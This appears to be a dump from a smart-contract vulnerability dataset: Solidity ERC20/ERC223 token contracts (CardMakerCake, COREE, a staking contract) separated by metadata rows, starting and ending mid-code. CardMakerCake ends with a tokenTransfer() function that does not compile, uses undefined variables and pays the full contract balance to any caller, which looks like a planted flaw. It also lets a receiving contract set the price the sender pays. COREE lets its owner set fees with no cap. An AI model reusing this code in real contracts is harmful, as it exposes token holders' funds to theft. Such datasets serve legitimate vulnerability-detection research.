tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100); uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn); return (tTransferAmount, tFee, tBurn); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rBurn = tBurn.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() public view returns(uint256) { return _taxFee; } function _getBurnFee() public view returns(uint256) { return _burnFee; } function _getMaxTxAmount() public view returns(uint256){ return _max_tx_size; } function _setTaxFee(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function _setBurnFee(uint256 burnFee) external onlyOwner() { _burnFee = burnFee; } }
252,424
12,119
c9f94922337bce9db5d350f1c37c6969664794629b9cf373c50d9803e44fcad0
18,273
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/0xeaf2f814a946280cd7d77656726ec17d2dff096e.sol
2,628
10,534
// // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() onlyOwner whenNotPaused public returns (bool) { paused = true; emit Pause(); return true; } function unpause() onlyOwner whenPaused public returns (bool) { paused = false; emit Unpause(); return true; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint); function allowance(address tokenOwner, address spender) public constant returns (uint); function transfer(address to, uint tokens) public returns (bool); function approve(address spender, uint tokens) public returns (bool); function transferFrom(address from, address to, uint tokens) public returns (bool); function name() public constant returns (string); function symbol() public constant returns (string); function decimals() public constant returns (uint8); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ERC223 is ERC20Interface { function transfer(address to, uint value, bytes data) public returns (bool); event Transfer(address indexed from, address indexed to, uint tokens); event Transfer(address indexed from, address indexed to, uint value, bytes data); } contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public; function doTransfer(address _to, uint256 _index) public returns (uint256 price, address owner); } contract CardMakerCake is ERC223, Pausable { using SafeMath for uint256; mapping(address => uint) balances; mapping(address => mapping(address => uint)) internal allowed; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; // EIP1046/1047 string private tokenURI_ = ""; event Burn(address indexed burner, uint256 value); constructor() public { tokenURI_ = "cardmaker.io"; name = "CardMaker Alchemists Knowledge Energy (CardMaker Token)"; symbol = "CAKE"; decimals = 18; totalSupply = 10000 * 10000 * 50 * 10 ** uint(decimals); balances[msg.sender] = totalSupply; } function tokenURI() external view returns (string) { return tokenURI_; } // Function to access name of token . function name() public constant returns (string) { return name; } // Function to access symbol of token . function symbol() public constant returns (string) { return symbol; } // Function to access decimals of token . function decimals() public constant returns (uint8) { return decimals; } // Function to access total supply of tokens . function totalSupply() public constant returns (uint256) { return totalSupply; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) public whenNotPaused returns (bool) { if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public whenNotPaused returns (bool) { bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } //function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); emit Transfer(msg.sender, _to, _value); emit Transfer(msg.sender, _to, _value, _data); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); uint256 price; address owner; (price, owner) = receiver.doTransfer(msg.sender, bytesToUint(_data)); if (balanceOf(msg.sender) < price) revert(); balances[msg.sender] = balanceOf(msg.sender).sub(price); balances[owner] = balanceOf(owner).add(price); receiver.tokenFallback(msg.sender, price, _data); emit Transfer(msg.sender, _to, _value); emit Transfer(msg.sender, _to, _value, _data); return true; } function balanceOf(address _owner) public constant returns (uint) { return balances[_owner]; } function allowance(address _tokenOwner, address _spender) public constant returns (uint) { return allowed[_tokenOwner][_spender]; } function burn(uint256 _value) public returns (bool) { require (_value > 0); // Check if the sender has enough require (balanceOf(msg.sender) >= _value); // Subtract from the sender balances[msg.sender] = balanceOf(msg.sender).sub(_value); // Updates totalSupply totalSupply = totalSupply.sub(_value); emit Burn(msg.sender, _value); return true; } function bytesToUint(bytes b) private pure returns (uint result) { uint i; result = 0; for (i = 0; i < b.length; i++) { uint c = uint(b[i]); if (c >= 48 && c <= 57) { result = result * 10 + (c - 48); } } } function approve(address _spender, uint _tokens) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = _tokens; emit Approval(msg.sender, _spender, _tokens); return true; } function transferFrom(address _from, address _to, uint _tokens) public whenNotPaused returns (bool) { require(_to != address(0)); require(_tokens <= balances[_from]); require(_tokens <= allowed[_from][msg.sender]); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_tokens); balances[_from] = balances[_from].sub(_tokens); balances[_to] = balances[_to].add(_tokens); emit Transfer(_from, _to, _tokens); return true; } function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) { allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool){ uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } function tokenTransfer() public { totalEth = totalEth + msg.value; uint256 amount = msg.value * unitsEth; if (balances[walletAdd] < amount) { return; } balances[walletAdd] = balances[walletAdd] - amount; balances[msg.sender] = balances[msg.sender] + amount; msg.sender.transfer(this.balance); } }
208,681
12,120
e032d76a86fa19b592b878317e2233caa54badbfd2ab6b9e793d1d9cac6afa4a
29,449
.sol
Solidity
false
454085139
tintinweb/smart-contract-sanctuary-fantom
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
contracts/mainnet/40/406056297b9D88B3ed91416A17794c6Dd669Bc32_COREE.sol
5,174
18,683
pragma solidity ^0.6.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract COREE is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; mapping (address => bool) public isAllowed; address[] private _excluded; uint8 private constant _decimals = 18; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000 ether; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _tBurnTotal; string private constant _name = 'CORE AI'; string private constant _symbol = 'CORE'; uint256 private _taxFee = 0; uint256 private _burnFee = 0; uint public max_tx_size = 100000 ether; bool public isPaused = false; constructor () public { _rOwned[_msgSender()] = _rTotal; isAllowed[_msgSender()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function totalBurn() public view returns (uint256) { return _tBurnTotal; } function toggleAllowed(address addr) external onlyOwner { isAllowed[addr] = !isAllowed[addr]; } function unpause() external returns (bool){ require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call"); isPaused = false; return true; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x82853A35fE40eDF5ED0Aacf4927C6Ed5EfCFDEDa, 'We can not exclude router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused"); if(sender != owner() && recipient != owner()) require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private { _rTotal = _rTotal.sub(rFee).sub(rBurn); _tFeeTotal = _tFeeTotal.add(tFee); _tBurnTotal = _tBurnTotal.add(tBurn); _tTotal = _tTotal.sub(tBurn); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100); uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn); return (tTransferAmount, tFee, tBurn); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rBurn = tBurn.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() public view returns(uint256) { return _taxFee; } function _getBurnFee() public view returns(uint256) { return _burnFee; } function _setTaxFee(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function _setBurnFee(uint256 burnFee) external onlyOwner() { _burnFee = burnFee; } function setMaxTxAmount(uint newMax) external onlyOwner { max_tx_size = newMax; } }
330,725
12,121
f5472cdfc30c5fad264982035895ec998a42e6e8d8d7072c600ce47cb2658948
26,581
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/testnet/37/3785776b6A3f234E4Ddc9cf1BB50E16e9c06d52e_BidderStaking.sol
4,199
16,942
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function add32(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) .sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IOwnable { function manager() external view returns (address); function renounceManagement() external; function pushManagement(address newOwner_) external; function pullManagement() external; } contract Ownable is IOwnable { address internal _owner; address internal _newOwner; event OwnershipPushed(address indexed previousOwner, address indexed newOwner); event OwnershipPulled(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipPushed(address(0), _owner); } function manager() public view override returns (address) { return _owner; } modifier onlyManager() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceManagement() public virtual override onlyManager() { emit OwnershipPushed(_owner, address(0)); _owner = address(0); } function pushManagement(address newOwner_) public 